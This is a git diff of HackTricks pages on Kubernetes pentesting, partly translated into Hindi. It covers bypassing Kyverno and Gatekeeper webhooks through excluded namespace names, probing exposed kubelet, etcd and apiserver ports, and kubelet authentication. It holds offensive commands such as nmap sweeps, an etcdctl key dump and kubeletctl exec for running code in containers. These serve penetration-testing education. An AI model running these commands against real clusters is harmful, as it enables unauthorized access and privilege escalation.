- **ValidatingWebhookConfiguration (VWC)** : एक Kubernetes संसाधन जो एक validating webhook को परिभाषित करता है, जो एक सर्वर-साइड घटक है जो आने वाले Kubernetes API अनुरोधों को पूर्वनिर्धारित नियमों और बाधाओं के सेट के खिलाफ मान्य करता है।
|
||||
- **Kyverno ClusterPolicy**: एक नीति परिभाषा जो Kubernetes संसाधनों, जैसे pods, deployments, और services को मान्य और लागू करने के लिए नियमों और बाधाओं के सेट को निर्दिष्ट करती है।
|
||||
|
||||
## Enumeration
|
||||
|
||||
```
|
||||
$ kubectl get ValidatingWebhookConfiguration
|
||||
```
|
||||
### Kyverno और Gatekeeper VWC का दुरुपयोग
|
||||
|
||||
### Abusing Kyverno and Gatekeeper VWC
|
||||
जैसा कि हम देख सकते हैं, सभी स्थापित ऑपरेटरों के पास कम से कम एक ValidatingWebHookConfiguration(VWC) है।
|
||||
|
||||
As we can see all operators installed have at least one ValidatingWebHookConfiguration(VWC).
|
||||
**Kyverno** और **Gatekeeper** दोनों Kubernetes नीति इंजन हैं जो एक क्लस्टर में नीतियों को परिभाषित और लागू करने के लिए एक ढांचा प्रदान करते हैं।
|
||||
|
||||
**Kyverno** and **Gatekeeper** are both Kubernetes policy engines that provide a framework for defining and enforcing policies across a cluster.
|
||||
अपवाद उन विशिष्ट नियमों या शर्तों को संदर्भित करते हैं जो किसी नीति को कुछ परिस्थितियों के तहत बायपास या संशोधित करने की अनुमति देते हैं, लेकिन यह एकमात्र तरीका नहीं है!
|
||||
|
||||
Exceptions refer to specific rules or conditions that allow a policy to be bypassed or modified under certain circumstances but this is not the only way !
|
||||
**kyverno** के लिए, जैसे ही एक मान्यकरण नीति होती है, वेबहुक `kyverno-resource-validating-webhook-cfg` भरा जाता है।
|
||||
|
||||
For **kyverno**, as you as there is a validating policy, the webhook `kyverno-resource-validating-webhook-cfg` is populated.
|
||||
Gatekeeper के लिए, `gatekeeper-validating-webhook-configuration` YAML फ़ाइल है।
|
||||
|
||||
For Gatekeeper, there is `gatekeeper-validating-webhook-configuration` YAML file.
|
||||
|
||||
Both come from with default values but the Administrator teams might updated those 2 files.
|
||||
|
||||
### Use Case
|
||||
दोनों डिफ़ॉल्ट मानों के साथ आते हैं, लेकिन प्रशासक टीमें उन 2 फ़ाइलों को अपडेट कर सकती हैं।
|
||||
|
||||
### उपयोग का मामला
|
||||
```bash
|
||||
$ kubectl get validatingwebhookconfiguration kyverno-resource-validating-webhook-cfg -o yaml
|
||||
```
|
||||
|
||||
Now, identify the following output :
|
||||
|
||||
अब, निम्नलिखित आउटपुट की पहचान करें:
|
||||
```yaml
|
||||
namespaceSelector:
|
||||
matchExpressions:
|
||||
- key: kubernetes.io/metadata.name
|
||||
operator: NotIn
|
||||
values:
|
||||
- default
|
||||
- TEST
|
||||
- YOYO
|
||||
- kube-system
|
||||
- MYAPP
|
||||
matchExpressions:
|
||||
- key: kubernetes.io/metadata.name
|
||||
operator: NotIn
|
||||
values:
|
||||
- default
|
||||
- TEST
|
||||
- YOYO
|
||||
- kube-system
|
||||
- MYAPP
|
||||
```
|
||||
यहाँ, `kubernetes.io/metadata.name` लेबल नामस्थान के नाम को संदर्भित करता है। `values` सूची में नाम वाले नामस्थान नीति से बाहर रखे जाएंगे:
|
||||
|
||||
Here, `kubernetes.io/metadata.name` label refers to the namespace name. Namespaces with names in the `values` list will be excluded from the policy :
|
||||
नामस्थान की उपस्थिति की जांच करें। कभी-कभी, स्वचालन या गलत कॉन्फ़िगरेशन के कारण, कुछ नामस्थान नहीं बनाए गए हो सकते हैं। यदि आपके पास नामस्थान बनाने की अनुमति है, तो आप `values` सूची में नाम के साथ एक नामस्थान बना सकते हैं और नीतियाँ आपके नए नामस्थान पर लागू नहीं होंगी।
|
||||
|
||||
Check namespaces existence. Sometimes, due to automation or misconfiguration, some namespaces might have not been created. If you have permission to create namespace, you could create a namespace with a name in the `values` list and policies won't apply your new namespace.
|
||||
|
||||
The goal of this attack is to exploit **misconfiguration** inside VWC in order to bypass operators restrictions and then elevate your privileges with other techniques
|
||||
इस हमले का लक्ष्य VWC के भीतर **गलत कॉन्फ़िगरेशन** का लाभ उठाना है ताकि ऑपरेटर की सीमाओं को बायपास किया जा सके और फिर अन्य तकनीकों के साथ अपने विशेषाधिकारों को बढ़ाया जा सके।
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)
|
||||
- [https://kyverno.io/](https://kyverno.io/)
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/](https://kubernetes.io/docs/reference/access-authn-authz/extensible-admission-controllers/)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Kubernetes uses several **specific network services** that you might find **exposed to the Internet** or in an **internal network once you have compromised one pod**.
|
||||
Kubernetes कई **विशिष्ट नेटवर्क सेवाओं** का उपयोग करता है जिन्हें आप **इंटरनेट पर** या **एक आंतरिक नेटवर्क में पा सकते हैं जब आप एक पॉड को समझौता कर लेते हैं**।
|
||||
|
||||
## Finding exposed pods with OSINT
|
||||
## OSINT के साथ एक्सपोज़ किए गए पॉड्स को खोजना
|
||||
|
||||
One way could be searching for `Identity LIKE "k8s.%.com"` in [crt.sh](https://crt.sh) to find subdomains related to kubernetes. Another way might be to search `"k8s.%.com"` in github and search for **YAML files** containing the string.
|
||||
एक तरीका `Identity LIKE "k8s.%.com"` को [crt.sh](https://crt.sh) में खोजने का हो सकता है ताकि kubernetes से संबंधित उपडोमेन मिल सकें। एक और तरीका `"k8s.%.com"` को github में खोजने और **YAML फ़ाइलों** में स्ट्रिंग खोजने का हो सकता है।
|
||||
|
||||
## How Kubernetes Exposes Services
|
||||
## Kubernetes सेवाओं को कैसे एक्सपोज़ करता है
|
||||
|
||||
It might be useful for you to understand how Kubernetes can **expose services publicly** in order to find them:
|
||||
यह आपके लिए समझना उपयोगी हो सकता है कि Kubernetes कैसे **सेवाओं को सार्वजनिक रूप से एक्सपोज़ कर सकता है** ताकि आप उन्हें खोज सकें:
|
||||
|
||||
{{#ref}}
|
||||
../exposing-services-in-kubernetes.md
|
||||
{{#endref}}
|
||||
|
||||
## Finding Exposed pods via port scanning
|
||||
## पोर्ट स्कैनिंग के माध्यम से एक्सपोज़ किए गए पॉड्स को खोजना
|
||||
|
||||
The following ports might be open in a Kubernetes cluster:
|
||||
Kubernetes क्लस्टर में निम्नलिखित पोर्ट खुले हो सकते हैं:
|
||||
|
||||
| Port | Process | Description |
|
||||
| --------------- | -------------- | ---------------------------------------------------------------------- |
|
||||
@@ -38,24 +38,20 @@ The following ports might be open in a Kubernetes cluster:
|
||||
| 44134/TCP | Tiller | Helm service listening |
|
||||
|
||||
### Nmap
|
||||
|
||||
```bash
|
||||
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
|
||||
```
|
||||
|
||||
### Kube-apiserver
|
||||
|
||||
This is the **API Kubernetes service** the administrators talks with usually using the tool **`kubectl`**.
|
||||
|
||||
**Common ports: 6443 and 443**, but also 8443 in minikube and 8080 as insecure.
|
||||
यह **API Kubernetes सेवा** है जिसके साथ प्रशासक आमतौर पर **`kubectl`** उपकरण का उपयोग करके बात करते हैं।
|
||||
|
||||
**सामान्य पोर्ट: 6443 और 443**, लेकिन मिनीक्यूब में 8443 और असुरक्षित के रूप में 8080 भी।
|
||||
```bash
|
||||
curl -k https://<IP Address>:(8|6)443/swaggerapi
|
||||
curl -k https://<IP Address>:(8|6)443/healthz
|
||||
curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
```
|
||||
|
||||
**Check the following page to learn how to obtain sensitive data and perform sensitive actions talking to this service:**
|
||||
**इस सेवा से संवेदनशील डेटा प्राप्त करने और संवेदनशील क्रियाएँ करने के लिए निम्नलिखित पृष्ठ की जांच करें:**
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-enumeration.md
|
||||
@@ -63,101 +59,84 @@ curl -k https://<IP Address>:(8|6)443/api/v1
|
||||
|
||||
### Kubelet API
|
||||
|
||||
This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**.
|
||||
यह सेवा **क्लस्टर के हर नोड में चलती है**। यह सेवा **नोड** के अंदर पॉड्स को **नियंत्रित** करेगी। यह **kube-apiserver** के साथ बात करती है।
|
||||
|
||||
If you find this service exposed you might have found an **unauthenticated RCE**.
|
||||
यदि आप इस सेवा को उजागर पाते हैं, तो आप एक **अनधिकृत RCE** पा सकते हैं।
|
||||
|
||||
#### Kubelet API
|
||||
|
||||
```bash
|
||||
curl -k https://<IP address>:10250/metrics
|
||||
curl -k https://<IP address>:10250/pods
|
||||
```
|
||||
यदि प्रतिक्रिया `Unauthorized` है, तो इसके लिए प्रमाणीकरण की आवश्यकता है।
|
||||
|
||||
If the response is `Unauthorized` then it requires authentication.
|
||||
|
||||
If you can list nodes you can get a list of kubelets endpoints with:
|
||||
|
||||
यदि आप नोड्स की सूची बना सकते हैं, तो आप निम्नलिखित के साथ kubelets के एंडपॉइंट्स की सूची प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
|
||||
ip=$(echo $node | awk '{print $1}')
|
||||
port=$(echo $node | awk '{print $2}')
|
||||
echo "curl -k --max-time 30 https://$ip:$port/pods"
|
||||
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
|
||||
ip=$(echo $node | awk '{print $1}')
|
||||
port=$(echo $node | awk '{print $2}')
|
||||
echo "curl -k --max-time 30 https://$ip:$port/pods"
|
||||
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
|
||||
done
|
||||
```
|
||||
|
||||
#### kubelet (Read only)
|
||||
|
||||
#### kubelet (केवल पढ़ने के लिए)
|
||||
```bash
|
||||
curl -k https://<IP Address>:10255
|
||||
http://<external-IP>:10255/pods
|
||||
```
|
||||
|
||||
### etcd API
|
||||
|
||||
```bash
|
||||
curl -k https://<IP address>:2379
|
||||
curl -k https://<IP address>:2379/version
|
||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
|
||||
### Tiller
|
||||
|
||||
### टिलर
|
||||
```bash
|
||||
helm --host tiller-deploy.kube-system:44134 version
|
||||
```
|
||||
|
||||
You could abuse this service to escalate privileges inside Kubernetes:
|
||||
आप इस सेवा का दुरुपयोग करके Kubernetes के अंदर विशेषाधिकार बढ़ा सकते हैं:
|
||||
|
||||
### cAdvisor
|
||||
|
||||
Service useful to gather metrics.
|
||||
|
||||
मेट्रिक्स इकट्ठा करने के लिए उपयोगी सेवा।
|
||||
```bash
|
||||
curl -k https://<IP Address>:4194
|
||||
```
|
||||
|
||||
### NodePort
|
||||
|
||||
When a port is exposed in all the nodes via a **NodePort**, the same port is opened in all the nodes proxifying the traffic into the declared **Service**. By default this port will be in in the **range 30000-32767**. So new unchecked services might be accessible through those ports.
|
||||
|
||||
जब एक पोर्ट सभी नोड्स में **NodePort** के माध्यम से खोला जाता है, तो वही पोर्ट सभी नोड्स में खोला जाता है जो ट्रैफ़िक को घोषित **Service** में प्रॉक्सी करता है। डिफ़ॉल्ट रूप से, यह पोर्ट **30000-32767** की सीमा में होगा। इसलिए नए अनियंत्रित सेवाएँ उन पोर्ट्स के माध्यम से सुलभ हो सकती हैं।
|
||||
```bash
|
||||
sudo nmap -sS -p 30000-32767 <IP>
|
||||
```
|
||||
|
||||
## Vulnerable Misconfigurations
|
||||
|
||||
### Kube-apiserver Anonymous Access
|
||||
|
||||
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
|
||||
गुमनाम पहुंच **kube-apiserver API endpoints पर अनुमति नहीं है**। लेकिन आप कुछ endpoints की जांच कर सकते हैं:
|
||||
|
||||

|
||||
|
||||
### **Checking for ETCD Anonymous Access**
|
||||
### **ETCD Anonymous Access की जांच करना**
|
||||
|
||||
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
|
||||
|
||||
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
|
||||
ETCD क्लस्टर के रहस्यों, कॉन्फ़िगरेशन फ़ाइलों और अधिक **संवेदनशील डेटा** को संग्रहीत करता है। **डिफ़ॉल्ट** रूप से, ETCD **गुमनाम रूप से** पहुंचा नहीं जा सकता, लेकिन इसे जांचना हमेशा अच्छा होता है।
|
||||
|
||||
यदि ETCD को गुमनाम रूप से पहुंचा जा सकता है, तो आपको **[**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **उपकरण** का उपयोग करने की आवश्यकता हो सकती है। निम्नलिखित कमांड सभी संग्रहीत कुंजियों को प्राप्त करेगा:
|
||||
```bash
|
||||
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
|
||||
```
|
||||
|
||||
### **Kubelet RCE**
|
||||
|
||||
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:**
|
||||
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) बताता है कि **डिफ़ॉल्ट रूप से गुमनाम पहुँच** सेवा के लिए **अनुमति है:**
|
||||
|
||||
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
|
||||
> Kubelet सर्वर के लिए गुमनाम अनुरोधों को सक्षम करता है। अनुरोध जो किसी अन्य प्रमाणीकरण विधि द्वारा अस्वीकृत नहीं होते हैं, उन्हें गुमनाम अनुरोधों के रूप में माना जाता है। गुमनाम अनुरोधों का उपयोगकर्ता नाम `system:anonymous` है, और समूह का नाम `system:unauthenticated` है।
|
||||
|
||||
To understand better how the **authentication and authorization of the Kubelet API works** check this page:
|
||||
**Kubelet API के प्रमाणीकरण और प्राधिकरण के काम करने के तरीके को बेहतर समझने के लिए** इस पृष्ठ को देखें:
|
||||
|
||||
{{#ref}}
|
||||
kubelet-authentication-and-authorization.md
|
||||
{{#endref}}
|
||||
|
||||
The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**:
|
||||
|
||||
**Kubelet** सेवा **API का दस्तावेज़ नहीं है**, लेकिन स्रोत कोड यहाँ पाया जा सकता है और उजागर किए गए एंडपॉइंट्स को **चलाने** के रूप में खोजना आसान है:
|
||||
```bash
|
||||
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
|
||||
|
||||
@@ -169,39 +148,34 @@ Path("/portForward")
|
||||
Path("/containerLogs")
|
||||
Path("/runningpods/").
|
||||
```
|
||||
सभी दिलचस्प लगते हैं।
|
||||
|
||||
All of them sound interesting.
|
||||
|
||||
You can use the [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool to interact with Kubelets and their endpoints.
|
||||
आप [**Kubeletctl**](https://github.com/cyberark/kubeletctl) टूल का उपयोग Kubelets और उनके एंडपॉइंट्स के साथ इंटरैक्ट करने के लिए कर सकते हैं।
|
||||
|
||||
#### /pods
|
||||
|
||||
This endpoint list pods and their containers:
|
||||
|
||||
यह एंडपॉइंट पॉड्स और उनके कंटेनरों की सूची देता है:
|
||||
```bash
|
||||
kubeletctl pods
|
||||
```
|
||||
|
||||
#### /exec
|
||||
|
||||
This endpoint allows to execute code inside any container very easily:
|
||||
|
||||
यह एंडपॉइंट किसी भी कंटेनर के अंदर कोड को बहुत आसानी से निष्पादित करने की अनुमति देता है:
|
||||
```bash
|
||||
kubeletctl exec [command]
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level.
|
||||
> इस हमले से बचने के लिए _**kubelet**_ सेवा को `--anonymous-auth false` के साथ चलाना चाहिए और सेवा को नेटवर्क स्तर पर अलग करना चाहिए।
|
||||
|
||||
### **Checking Kubelet (Read Only Port) Information Exposure**
|
||||
### **Kubelet (पढ़ने के लिए केवल पोर्ट) जानकारी का प्रदर्शन जांचना**
|
||||
|
||||
When a **kubelet read-only port** is exposed, it becomes possible for information to be retrieved from the API by unauthorized parties. The exposure of this port may lead to the disclosure of various **cluster configuration elements**. Although the information, including **pod names, locations of internal files, and other configurations**, may not be critical, its exposure still poses a security risk and should be avoided.
|
||||
जब **kubelet पढ़ने के लिए केवल पोर्ट** को उजागर किया जाता है, तो यह अनधिकृत पक्षों द्वारा API से जानकारी प्राप्त करना संभव हो जाता है। इस पोर्ट का प्रदर्शन विभिन्न **क्लस्टर कॉन्फ़िगरेशन तत्वों** के खुलासे का कारण बन सकता है। हालांकि जानकारी, जिसमें **पॉड नाम, आंतरिक फ़ाइलों के स्थान, और अन्य कॉन्फ़िगरेशन** शामिल हैं, महत्वपूर्ण नहीं हो सकती, फिर भी इसका प्रदर्शन सुरक्षा जोखिम पैदा करता है और इससे बचना चाहिए।
|
||||
|
||||
An example of how this vulnerability can be exploited involves a remote attacker accessing a specific URL. By navigating to `http://<external-IP>:10255/pods`, the attacker can potentially retrieve sensitive information from the kubelet:
|
||||
इस भेद्यता का शोषण कैसे किया जा सकता है, इसका एक उदाहरण एक दूरस्थ हमलावर द्वारा एक विशिष्ट URL तक पहुंचना है। `http://<external-IP>:10255/pods` पर नेविगेट करके, हमलावर संभावित रूप से kubelet से संवेदनशील जानकारी प्राप्त कर सकता है:
|
||||
|
||||

|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
{{#ref}}
|
||||
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
|
||||
@@ -212,7 +186,3 @@ https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+51
-65
@@ -6,68 +6,60 @@
|
||||
|
||||
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**.
|
||||
डिफ़ॉल्ट रूप से, kubelet के HTTPS एंडपॉइंट पर अनुरोध जो अन्य कॉन्फ़िगर किए गए प्रमाणीकरण विधियों द्वारा अस्वीकृत नहीं होते हैं, उन्हें अनाम अनुरोध के रूप में माना जाता है, और उन्हें **`system:anonymous`** का **उपयोगकर्ता नाम** और **`system:unauthenticated`** का **समूह** दिया जाता है।
|
||||
|
||||
The **3** authentication **methods** are:
|
||||
|
||||
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
|
||||
**3** प्रमाणीकरण **विधियाँ** हैं:
|
||||
|
||||
- **अनाम** (डिफ़ॉल्ट): सेटिंग का उपयोग करें पैरामीटर **`--anonymous-auth=true` या कॉन्फ़िग:**
|
||||
```json
|
||||
"authentication": {
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
|
||||
- **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with:
|
||||
- ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server
|
||||
- start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting:
|
||||
|
||||
```json
|
||||
"authentication": {
|
||||
"webhook": {
|
||||
"cacheTTL": "2m0s",
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> The kubelet calls the **`TokenReview` API** on the configured API server to **determine user information** from bearer tokens
|
||||
|
||||
- **X509 client certificates:** Allow to authenticate via X509 client certs
|
||||
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
|
||||
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
|
||||
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
"clientCAFile": "/etc/kubernetes/pki/ca.crt"
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
Any request that is successfully authenticated (including an anonymous request) **is then authorized**. The **default** authorization mode is **`AlwaysAllow`**, which **allows all requests**.
|
||||
|
||||
However, the other possible value is **`webhook`** (which is what you will be **mostly finding out there**). This mode will **check the permissions of the authenticated user** to allow or disallow an action.
|
||||
|
||||
> [!WARNING]
|
||||
> Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action.
|
||||
|
||||
The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with:
|
||||
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
"webhook": {
|
||||
"cacheAuthorizedTTL": "5m0s",
|
||||
"cacheUnauthorizedTTL": "30s"
|
||||
}
|
||||
"anonymous": {
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
- **Webhook**: यह **kubectl** **API bearer tokens** को प्राधिकरण के रूप में **सक्षम** करेगा (कोई भी मान्य टोकन मान्य होगा)। इसे अनुमति दें:
|
||||
- सुनिश्चित करें कि `authentication.k8s.io/v1beta1` API समूह API सर्वर में सक्षम है
|
||||
- kubelet को **`--authentication-token-webhook`** और **`--kubeconfig`** ध्वजों के साथ प्रारंभ करें या निम्नलिखित सेटिंग का उपयोग करें:
|
||||
```json
|
||||
"authentication": {
|
||||
"webhook": {
|
||||
"cacheTTL": "2m0s",
|
||||
"enabled": true
|
||||
},
|
||||
```
|
||||
> [!NOTE]
|
||||
> kubelet **`TokenReview` API** को कॉन्फ़िगर किए गए API सर्वर पर कॉल करता है ताकि **उपयोगकर्ता जानकारी** को बियरर टोकन से निर्धारित किया जा सके
|
||||
|
||||
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
|
||||
- **X509 क्लाइंट सर्टिफिकेट:** X509 क्लाइंट सर्टिफिकेट के माध्यम से प्रमाणीकरण की अनुमति देता है
|
||||
- अधिक विवरण के लिए [apiserver प्रमाणीकरण दस्तावेज़](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) देखें
|
||||
- `--client-ca-file` ध्वज के साथ kubelet शुरू करें, क्लाइंट सर्टिफिकेट को सत्यापित करने के लिए CA बंडल प्रदान करते हुए। या कॉन्फ़िगरेशन के साथ:
|
||||
```json
|
||||
"authentication": {
|
||||
"x509": {
|
||||
"clientCAFile": "/etc/kubernetes/pki/ca.crt"
|
||||
}
|
||||
}
|
||||
```
|
||||
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
|
||||
|
||||
कोई भी अनुरोध जो सफलतापूर्वक प्रमाणित होता है (जिसमें एक गुमनाम अनुरोध भी शामिल है) **फिर अधिकृत किया जाता है**। **डिफ़ॉल्ट** अधिकरण मोड **`AlwaysAllow`** है, जो **सभी अनुरोधों की अनुमति देता है**।
|
||||
|
||||
हालांकि, अन्य संभावित मान **`webhook`** है (जो आप **अधिकतर वहां पाएंगे**)। यह मोड **प्रमाणित उपयोगकर्ता के अनुमतियों की जांच करेगा** ताकि किसी क्रिया की अनुमति या अस्वीकृति की जा सके।
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि भले ही **गुमनाम प्रमाणीकरण सक्षम है**, **गुमनाम पहुंच** को किसी भी क्रिया को करने के लिए **कोई अनुमतियाँ नहीं हो सकती**।
|
||||
|
||||
वेबहुक के माध्यम से अधिकरण को **`--authorization-mode=Webhook`** पैरामीटर का उपयोग करके या कॉन्फ़िग फ़ाइल के माध्यम से कॉन्फ़िगर किया जा सकता है:
|
||||
```json
|
||||
"authorization": {
|
||||
"mode": "Webhook",
|
||||
"webhook": {
|
||||
"cacheAuthorizedTTL": "5m0s",
|
||||
"cacheUnauthorizedTTL": "30s"
|
||||
}
|
||||
},
|
||||
```
|
||||
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **निर्धारित** whether each request is **अधिकार प्राप्त**.
|
||||
|
||||
The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
|
||||
|
||||
@@ -81,7 +73,7 @@ The kubelet authorizes API requests using the same [request attributes](https://
|
||||
| PATCH | patch |
|
||||
| DELETE | delete (for individual resources), deletecollection (for collections) |
|
||||
|
||||
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
|
||||
- The **resource** talking to the Kubelet api is **हमेशा** **nodes** and **subresource** is **निर्धारित** from the incoming request's path:
|
||||
|
||||
| Kubelet API | resource | subresource |
|
||||
| ------------ | -------- | ----------- |
|
||||
@@ -92,22 +84,16 @@ The kubelet authorizes API requests using the same [request attributes](https://
|
||||
| _all others_ | nodes | proxy |
|
||||
|
||||
For example, the following request tried to access the pods info of kubelet without permission:
|
||||
|
||||
```bash
|
||||
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
|
||||
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
|
||||
```
|
||||
|
||||
- We got a **Forbidden**, so the request **passed the Authentication check**. If not, we would have got just an `Unauthorised` message.
|
||||
- We can see the **username** (in this case from the token)
|
||||
- Check how the **resource** was **nodes** and the **subresource** **proxy** (which makes sense with the previous information)
|
||||
- हमें एक **Forbidden** मिला, इसलिए अनुरोध **Authentication check** को **पास** कर गया। यदि नहीं, तो हमें केवल एक `Unauthorised` संदेश मिलता।
|
||||
- हम **username** देख सकते हैं (इस मामले में टोकन से)
|
||||
- जांचें कि **resource** **nodes** था और **subresource** **proxy** (जो पिछले जानकारी के साथ समझ में आता है)
|
||||
|
||||
## References
|
||||
|
||||
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Reference in New Issue
Block a user